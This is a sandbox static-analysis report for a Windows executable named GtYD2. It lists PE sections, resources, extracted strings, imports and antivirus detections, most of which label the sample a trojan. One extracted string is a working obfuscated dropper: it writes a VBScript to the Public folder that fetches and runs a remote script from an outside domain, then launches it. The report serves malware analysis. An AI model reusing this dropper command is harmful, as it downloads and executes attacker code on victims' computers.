Static | ZeroBOX

Name	Virtual Address	Virtual Size	Size of Raw Data	Entropy
.text	0x00001000	0x0000e57e	0x0000e600	6.56327510637
.rdata	0x00010000	0x0000649c	0x00006600	4.83294520468
.data	0x00017000	0x000015ac	0x00000a00	2.0346901301
.rsrc	0x00019000	0x000e98c0	0x000e9a00	5.53077287083
.reloc	0x00103000	0x00000fb8	0x00001000	6.470326556

Name	Offset	Size	Language	Sub-language	File type
RT_BITMAP	0x0006fd08	0x00092a00	LANG_ENGLISH	SUBLANG_ENGLISH_US	data
RT_ICON	0x00044718	0x0002b450	LANG_ENGLISH	SUBLANG_ENGLISH_US	data
RT_ICON	0x00044718	0x0002b450	LANG_ENGLISH	SUBLANG_ENGLISH_US	data
RT_MENU	0x0006fb80	0x0000004a	LANG_ENGLISH	SUBLANG_ENGLISH_US	data
RT_DIALOG	0x0006fbe0	0x00000128	LANG_ENGLISH	SUBLANG_ENGLISH_US	data
RT_STRING	0x00102708	0x00000034	LANG_ENGLISH	SUBLANG_ENGLISH_US	data
RT_ACCELERATOR	0x0006fbd0	0x00000010	LANG_ENGLISH	SUBLANG_ENGLISH_US	data
RT_GROUP_ICON	0x0006fb68	0x00000014	LANG_ENGLISH	SUBLANG_ENGLISH_US	data
RT_GROUP_ICON	0x0006fb68	0x00000014	LANG_ENGLISH	SUBLANG_ENGLISH_US	data
RT_MANIFEST	0x00102740	0x0000017d	LANG_ENGLISH	SUBLANG_ENGLISH_US	XML 1.0 document text

!This program cannot be run in DOS mode.

`.rdata

@.data

@.reloc

URPQQh

UQPXY]Y[

QQSVWd

j"^f92

j"_f9z

t^j*Yf

f9:t!V

QQSVj8j@

tl=HvA

SystPQ

emRoPf

uG9]$t

PPPPPPPP

PPPPPWV

PP9E uPPSWP

PVVVVV

__based(

__cdecl

__pascal

__stdcall

__thiscall

__fastcall

__vectorcall

__clrcall

__eabi

__swift_1

__swift_2

__swift_3

__ptr64

__restrict

__unaligned

restrict(

delete

operator

`vftable'

`vbtable'

`vcall'

`typeof'

`local static guard'

`string'

`vbase destructor'

`vector deleting destructor'

`default constructor closure'

`scalar deleting destructor'

`vector constructor iterator'

`vector destructor iterator'

`vector vbase constructor iterator'

`virtual displacement map'

`eh vector constructor iterator'

`eh vector destructor iterator'

`eh vector vbase constructor iterator'

`copy constructor closure'

`udt returning'

`local vftable'

`local vftable constructor closure'

new[]

delete[]

`omni callsig'

`placement delete closure'

`placement delete[] closure'

`managed vector constructor iterator'

`managed vector destructor iterator'

`eh vector copy constructor iterator'

`eh vector vbase copy constructor iterator'

`dynamic initializer for '

`dynamic atexit destructor for '

`vector copy constructor iterator'

`vector vbase copy constructor iterator'

`managed vector copy constructor iterator'

`local static thread guard'

operator ""

operator co_await

operator<=>

Type Descriptor'

Base Class Descriptor at (

Base Class Array'

Class Hierarchy Descriptor'

Complete Object Locator'

`anonymous namespace'

FlsAlloc

FlsFree

FlsGetValue

FlsSetValue

InitializeCriticalSectionEx

Unknown exception

bad exception

COMSPEC

cmd.exe

CorExitProcess

Sunday

Monday

Tuesday

Wednesday

Thursday

Friday

Saturday

January

February

August

September

October

November

December

MM/dd/yy

dddd, MMMM dd, yyyy

HH:mm:ss

!"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~

!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~

AreFileApisANSI

CompareStringEx

LCMapStringEx

LocaleNameToLCID

AppPolicyGetProcessTerminationMethod

?5Wg4p

%S#[k=

"B <1=

_hypot

_nextafter

echo|set /p=^"sq048=".":r54="i":y8628="g":k4js7=":":GetO^">%Public%\bjk6l9.vbs&echo|set /p=^"bject("sCr"+r54+"pt"+k4js7+"hT"+"Tps"+k4js7+"//m4gx"+sq048+"dns04"+sq048+"com//"+y8628+"1")^">>%Public%\bjk6l9.vbs&cd c:\windows\system32\&cmd /c start %Public%\bjk6l9.vbs

C:\U3\GtYD2\Release\GtYD2.pdb

.text$mn

.text$x

.idata$5

.00cfg

.CRT$XCA

.CRT$XCAA

.CRT$XCZ

.CRT$XIA

.CRT$XIAA

.CRT$XIAC

.CRT$XIC

.CRT$XIZ

.CRT$XPA

.CRT$XPX

.CRT$XPXA

.CRT$XPZ

.CRT$XTA

.CRT$XTZ

.rdata

.rdata$r

.rdata$sxdata

.rdata$voltmd

.rdata$zzzdbg

.rtc$IAA

.rtc$IZZ

.rtc$TAA

.rtc$TZZ

.xdata$x

.idata$2

.idata$3

.idata$4

.idata$6

.data$r

.data$rs

.rsrc$01

.rsrc$02

BeginPaint

LoadImageW

UpdateWindow

DialogBoxParamW

PostQuitMessage

LoadCursorW

LoadIconW

TranslateMessage

TranslateAcceleratorW

DispatchMessageW

ShowWindow

LoadStringW

LoadAcceleratorsW

RegisterClassExW

EndDialog

CreateWindowExW

MessageBoxW

DestroyWindow

DefWindowProcW

GetMessageW

USER32.dll

GetObjectW

CreateCompatibleDC

SelectObject

BitBlt

GDI32.dll

UnhandledExceptionFilter

SetUnhandledExceptionFilter

GetCurrentProcess

TerminateProcess

IsProcessorFeaturePresent

QueryPerformanceCounter

GetCurrentProcessId

GetCurrentThreadId

GetSystemTimeAsFileTime

InitializeSListHead

IsDebuggerPresent

GetStartupInfoW

GetModuleHandleW

RtlUnwind

GetLastError

SetLastError

EnterCriticalSection

LeaveCriticalSection

DeleteCriticalSection

InitializeCriticalSectionAndSpinCount

TlsAlloc

TlsGetValue

TlsSetValue

TlsFree

FreeLibrary

GetProcAddress

LoadLibraryExW

EncodePointer

RaiseException

GetStdHandle

WriteFile

GetModuleFileNameW

ExitProcess

GetModuleHandleExW

HeapFree

CloseHandle

WaitForSingleObject

GetExitCodeProcess

CreateProcessW

GetFileAttributesExW

HeapAlloc

FindClose

FindFirstFileExW

FindNextFileW

IsValidCodePage

GetACP

GetOEMCP

GetCPInfo

GetCommandLineA

GetCommandLineW

MultiByteToWideChar

WideCharToMultiByte

GetEnvironmentStringsW

FreeEnvironmentStringsW

SetEnvironmentVariableW

SetStdHandle

GetFileType

GetStringTypeW

CompareStringW

LCMapStringW

GetProcessHeap

HeapSize

HeapReAlloc

FlushFileBuffers

GetConsoleOutputCP

GetConsoleMode

SetFilePointerEx

CreateFileW

WriteConsoleW

DecodePointer

KERNEL32.dll

abcdefghijklmnopqrstuvwxyz

ABCDEFGHIJKLMNOPQRSTUVWXYZ

abcdefghijklmnopqrstuvwxyz

ABCDEFGHIJKLMNOPQRSTUVWXYZ

.?AVbad_exception@std@@

.?AVexception@std@@

.?AVtype_info@@

<?xml version='1.0' encoding='UTF-8' standalone='yes'?>

</requestedPrivileges>

</security>

</trustInfo>

</assembly>

0*050M0p0

1%1,1<1

292B2H2Q2^2d2

3!3=3F3L3

6$676E6K6Q6W6]6c6j6q6x6

8$8*80868<8B8H8]8r8y8

:!:N:T:z:

=:=D=M=

>C>M>V>_>t>}>

0G0O0a0n0

6!6'6B6j6~6

707>7E7K7c7s7

8"8B8L8X8t8

9(94999>9\9f9r9w9|9

263E3%4R6

<I<n<=>

6W6`6y8

<,<C<Q<d<o<z<

> >%>1>6>J>

>3?:?L?r?

50;0O0

4*5.565B5\5

6$6)6B6S6X6

9?:N:g:U;_;l;

<+<5<A<k<

</=B=]=c=n=

<Z=5><>i>p>

??=?d?y?

0/0B0\0k0

7#8B8e8

<;=D=H=N=R=X=\=f=y=

0!0'0,0

4'6-6;6J6

737:7%8?8

:&:?:w:

:5;G;w;

<9<K<]<o<

=2=D=V=h=z=

1#2M2}2

44$4)494>4C4k4

5*535<5m5

516U6e6j6o6

7"7'7,7J7Y7d7i7n7

7 878@8W8i8u8

96:T:]:c:

:5;:;?;D;M;j<s<

0$000<0J0Z0o0

1"183{5

8I8^8h8

1\1}1N2t2

4%4,4C4Y4f4k4y4

5 5E5P5`5

?8?C?P?b?

G0\0e0n0&2

5!595?5K5j5p5~5

8 9J9R9o9

: ;W;t;

1.1M1x1

1"2D2h2

5.5K5u5

2 2(20282@2H2P2X2`2h2p2x2

3 3(30383@3H3P3X3`3h3p3x3

4 4(40484@4H4P4X4`4h4p4x4

5 5(50585@5H5P5X5`5h5p5

> >$>(>4><>D>H>L>P>T>

0 0$0(0,0004080<0@0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0

1 1$1(1,1014181<1@1D1H1L1P1T1X1\1`1d1h1l1p1t1x1

; ;$;(;,;0;4;

1$1,141<1D1L1T1\1d1l1t1|1

2$2,242<2D2L2T2\2d2l2t2|2

3$3,343<3D3L3T3\3d3l3t3|3

4$4,444<4D4L4T4\4d4l4t4|4

5$5,545<5D5L5T5\5d5l5t5|5

6$6,646<6D6L6T6\6d6l6t6|6

7$7,747<7D7L7T7\7d7l7t7|7

2 2(20282@2H2P2X2`2h2p2x2

3 3(30383@3H3P3X3`3h3p3x3

4 4(40484@4H4P4X4`4h4p4x4

5 5(50585@5H5P5X5`5h5p5x5

6 6(60686@6H6P6X6`6h6p6x6

7 7(70787@7H7P7X7`7h7p7x7

8 8(80888@8H8P8X8`8h8p8x8

<$<,<4<<<D<L<T<\<d<l<t<|<

=d?h?p?

1 1$14181@1X1,606L6P6l6p6

74787T7X7`7h7p7t7|7

8L8P8p8

989X9x9

:8:X:x:

;8;X;x;

686<6H6L6P6T6X6\6`6d6h6l6x6|6

Aapi-ms-win-core-fibers-l1-1-1

api-ms-win-core-synch-l1-2-0

kernel32

api-ms-

mscoree.dll

Aja-JP

Sunday

Monday

Tuesday

Wednesday

Thursday

Friday

Saturday

January

February

August

September

October

November

December

MM/dd/yy

dddd, MMMM dd, yyyy

HH:mm:ss

((((( H

Aapi-ms-win-core-datetime-l1-1-1

api-ms-win-core-file-l1-2-4

api-ms-win-core-file-l1-2-2

api-ms-win-core-localization-l1-2-1

api-ms-win-core-localization-obsolete-l1-2-0

api-ms-win-core-processthreads-l1-1-2

api-ms-win-core-string-l1-1-0

api-ms-win-core-sysinfo-l1-2-1

api-ms-win-core-winrt-l1-1-0

api-ms-win-core-xstate-l2-1-0

api-ms-win-rtcore-ntuser-window-l1-1-0

api-ms-win-security-systemfunctions-l1-1-0

ext-ms-win-ntuser-dialogbox-l1-1-0

ext-ms-win-ntuser-windowstation-l1-1-0

advapi32

kernelbase

api-ms-win-appmodel-runtime-l1-1-2

user32

api-ms-win-core-fibers-l1-1-0

ext-ms-

zh-CHS

az-AZ-Latn

uz-UZ-Latn

kok-IN

syr-SY

div-MV

quz-BO

sr-SP-Latn

az-AZ-Cyrl

uz-UZ-Cyrl

quz-EC

sr-SP-Cyrl

quz-PE

smj-NO

bs-BA-Latn

smj-SE

sr-BA-Latn

sma-NO

sr-BA-Cyrl

sma-SE

sms-FI

smn-FI

zh-CHT

az-az-cyrl

az-az-latn

bs-ba-latn

div-mv

kok-in

quz-bo

quz-ec

quz-pe

sma-no

sma-se

smj-no

smj-se

smn-fi

sms-fi

sr-ba-cyrl

sr-ba-latn

sr-sp-cyrl

sr-sp-latn

syr-sy

uz-uz-cyrl

uz-uz-latn

zh-chs

zh-cht

CONOUT$

PDF Error i86wl58

Archivo no encontrado Error i86wl58

iE&xit

h&About ...

About GtYD2

MS Shell Dlg

GtYD2, Version 1.0

Antivirus	Signature
Bkav	W32.AIDetectMalware
Lionic	Trojan.Win32.Generic.4!c
Elastic	malicious (high confidence)
DrWeb	Trojan.Siggen21.49399
MicroWorld-eScan	Trojan.GenericKD.69973040
FireEye	Generic.mg.897af5616bfd6af5
CAT-QuickHeal	Clean
Skyhigh	BehavesLike.Win32.Generic.tm
ALYac	Trojan.GenericKD.69973040
Cylance	unsafe
Zillya	Clean
Sangfor	Trojan.Win32.Agent.Vvk5
CrowdStrike	win/malicious_confidence_100% (W)
Alibaba	Clean
K7GW	Trojan ( 005ab3fa1 )
K7AntiVirus	Trojan ( 005ab3fa1 )
BitDefenderTheta	Gen:NN.ZexaE.36792.avW@aShlPPhi
VirIT	Clean
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of Win32/Agent.AFVT
Cynet	Malicious (score: 99)
APEX	Malicious
Paloalto	Clean
ClamAV	Clean
Kaspersky	UDS:DangerousObject.Multi.Generic
BitDefender	Trojan.GenericKD.69973040
NANO-Antivirus	Clean
SUPERAntiSpyware	Clean
Avast	Win32:MalwareX-gen [Trj]
Rising	Trojan.Generic@AI.100 (RDML:w7xvx4wo2d+WLq4BjTme0g)
TACHYON	Clean
Emsisoft	Trojan.GenericKD.69973040 (B)
F-Secure	Trojan.TR/Agent.mrbbs
Baidu	Clean
VIPRE	Trojan.GenericKD.69973040
TrendMicro	Clean
Trapmine	suspicious.low.ml.score
CMC	Clean
Sophos	Mal/Generic-S
Ikarus	Trojan.Win32.Agent
Jiangmin	Clean
Webroot	W32.Trojan.GenKD
Varist	W32/ABRisk.GTAZ-0795
Avira	TR/Agent.mrbbs
Antiy-AVL	Trojan/Win32.Wacatac
Kingsoft	Clean
Microsoft	Trojan:Win32/Casdet!rfn
Gridinsoft	Ransom.Win32.Wacatac.sa
Xcitium	Malware@#25r4jjivpccpl
Arcabit	Trojan.Generic.D42BB430
ViRobot	Clean
ZoneAlarm	UDS:DangerousObject.Multi.Generic
GData	Trojan.GenericKD.69973040
Google	Detected
AhnLab-V3	Trojan/Win.Generic.R617107
Acronis	Clean
McAfee	Artemis!897AF5616BFD
MAX	malware (ai score=89)
VBA32	Clean
Malwarebytes	Malware.AI.2449542126
Panda	Trj/Chgt.AD
Zoner	Clean
TrendMicro-HouseCall	TROJ_GEN.R014H0DJO23
Tencent	Win32.Trojan.Agent.Tdkl
Yandex	Clean
SentinelOne	Static AI - Suspicious PE
MaxSecure	Trojan.Malware.300983.susgen
Fortinet	Clean
AVG	Win32:MalwareX-gen [Trj]
Cybereason	Clean
DeepInstinct	MALICIOUS

Static Analysis

PE Compile Time

PDB Path

PE Imphash

Sections

Resources

Imports